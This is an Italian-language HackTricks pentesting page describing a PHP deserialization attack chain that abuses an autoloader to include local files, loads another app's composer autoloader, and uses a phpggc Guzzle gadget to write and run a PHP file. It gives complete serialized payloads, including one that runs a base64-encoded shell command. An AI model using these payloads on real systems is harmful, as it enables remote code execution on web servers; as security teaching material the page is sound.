PHP - Deserialization + Autoload Classes

Supporta HackTricks

Prima di tutto, dovresti controllare cosa sono le Classi Autoloading.

Deserializzazione PHP + spl_autoload_register + LFI/Gadget

Ci troviamo in una situazione in cui abbiamo trovato una deserializzazione PHP in un'app web senza nessuna libreria vulnerabile a gadget all'interno di phpggc. Tuttavia, nello stesso contenitore c'era una diversa app web composer con librerie vulnerabili. Pertanto, l'obiettivo era caricare il loader composer dell'altra app web e abusarne per caricare un gadget che sfrutterà quella libreria con un gadget dall'app web vulnerabile alla deserializzazione.

Passi:

  • Hai trovato una deserializzazione e non ci sono gadget nel codice dell'app attuale

  • Puoi abusare di una funzione spl_autoload_register come la seguente per caricare qualsiasi file locale con estensione .php

  • Per questo usi una deserializzazione in cui il nome della classe sarà all'interno di $name. Non puoi usare "/" o "." in un nome di classe in un oggetto serializzato, ma il codice sta sostituendo gli underscore ("_") con slash ("/"). Quindi un nome di classe come tmp_passwd sarà trasformato in /tmp/passwd.php e il codice cercherà di caricarlo. Un esempio di gadget sarà: O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

Se hai un upload di file e puoi caricare un file con estensione .php, potresti sfruttare questa funzionalità direttamente e ottenere già RCE.

Nel mio caso, non avevo nulla di simile, ma c'era all'interno dello stesso container un'altra pagina web di composer con una libreria vulnerabile a un gadget phpggc.

  • Per caricare questa altra libreria, prima devi caricare il loader di composer di quell'altra web app (perché quello dell'applicazione corrente non accederà alle librerie dell'altra). Conoscendo il percorso dell'applicazione, puoi ottenere questo molto facilmente con: O:28:"www_frontend_vendor_autoload":0:{} (Nel mio caso, il loader di composer si trovava in /www/frontend/vendor/autoload.php)

  • Ora puoi caricare il loader di composer dell'altra app, quindi è tempo di generare il payload phpgcc da utilizzare. Nel mio caso, ho usato Guzzle/FW1, che mi ha permesso di scrivere qualsiasi file all'interno del filesystem.

  • NOTA: Il gadget generato non funzionava, affinché funzionasse ho modificato quel payload chain.php di phpggc e impostato tutti gli attributi delle classi da privati a pubblici. Altrimenti, dopo aver deserializzato la stringa, gli attributi degli oggetti creati non avevano valori.

  • Ora abbiamo il modo di caricare il loader di composer dell'altra app e avere un payload phpggc che funziona, ma dobbiamo fare questo nella STESSA RICHIESTA affinché il loader venga caricato quando il gadget viene utilizzato. Per questo, ho inviato un array serializzato con entrambi gli oggetti come:

  • Puoi vedere prima il loader che viene caricato e poi il payload

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • Ora possiamo creare e scrivere un file, tuttavia, l'utente non poteva scrivere in nessuna cartella all'interno del server web. Quindi, come puoi vedere nel payload, PHP chiama system con alcuni base64 creati in /tmp/a.php. Poi, possiamo riutilizzare il primo tipo di payload che abbiamo usato come LFI per caricare il caricatore di composer dell'altra webapp per caricare il file generato /tmp/a.php. Basta aggiungerlo al gadget di deserializzazione:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

Riepilogo del payload

  • Carica l'autoload di composer di un'altra webapp nello stesso container

  • Carica un gadget phpggc per abusare di una libreria dell'altra webapp (la webapp iniziale vulnerabile alla deserializzazione non aveva alcun gadget nelle sue librerie)

  • Il gadget creerà un file con un payload PHP in /tmp/a.php con comandi malevoli (l'utente della webapp non può scrivere in nessuna cartella di nessuna webapp)

  • L'ultima parte del nostro payload utilizzerà caricare il file php generato che eseguirà comandi

Ho dovuto chiamare questa deserializzazione due volte. Nei miei test, la prima volta il file /tmp/a.php è stato creato ma non caricato, e la seconda volta è stato caricato correttamente.

Support HackTricks

Last updated